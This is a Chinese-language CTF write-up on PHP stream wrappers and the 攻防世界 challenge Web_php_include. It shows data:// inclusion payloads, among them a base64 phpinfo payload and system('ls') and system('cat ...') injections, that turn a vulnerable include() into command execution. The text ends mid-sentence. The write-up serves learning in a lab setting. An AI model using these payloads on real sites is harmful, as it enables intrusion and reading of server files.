php支持的伪协议：
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流（I/O streams）
5 zlib:// — 压缩流
6 data:// — 数据（RFC 2397）
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流
data：//
数据流封装器，以传递相应格式的数据。可以让用户来控制输入流，当它与包含函数结合时，用户输入的data://流会被当作php文件执行。
示例用法
1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,
2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
例题1：攻防世界：Web_php_include
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
页面显示如上
对于这题，通过data方式来进行解决
传上一个get方法提交的一个page值
?page=data://text/plain,<?php system("ls")?>
data://text/plain 会让<?php system("ls")?>当作一个php文件进行执行
<?php system("ls")?>：这是一个PHP代码片段，其中<?php和?>是PHP的开闭标签，而system(“ls”)是一个PHP函数调用，用于在服务器上执行ls命令。ls是一个Unix/Linux命令，用于列出目录内容。
那么通过修改url传上这个page
得到回显
没能拿到flag
回馈的是三个目录内容
fl4gisisish3r3.php 这个目录的提示已经很明显了，那么使用cat指令转到这个目录即可
即替换php代码块即可
<?php system(“ls”)> ——> <?php system(“cat fl4gisisish3r3.php”)>
得到新页面
但是并没能找到实际的flag
但是flag一定就在这个页面上
反复找寻
最后F12检查一下
得到
